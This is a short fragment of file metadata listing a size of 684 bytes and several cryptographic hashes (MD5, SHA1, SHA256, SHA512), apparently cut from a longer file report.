SHA5125e3c0adf6b446ff12f8c01856435fc26dc80e79314cf8a8379de94c37884e9b255c04e93b90d063f30eca4726af6bc660d073053b45f57358cdd3cd7caf389fa
-
Filesize
684B
MD5496c563b5a49d68bd900a7056c70dfd0
SHA1adbe7d96ade144e86f37b5090dd785388dded879
SHA256ed127c20bb3f897c5193d3c74b048a25000a113860f4dd2b94ab36f02af199b7
SHA512fd7d4e60b843e73afa326d85658dc716677e7413e14286a367719f882322423d6c21a55ab5623613aac201b6f8604317d9138f4936c3bdc9f7957755b4418886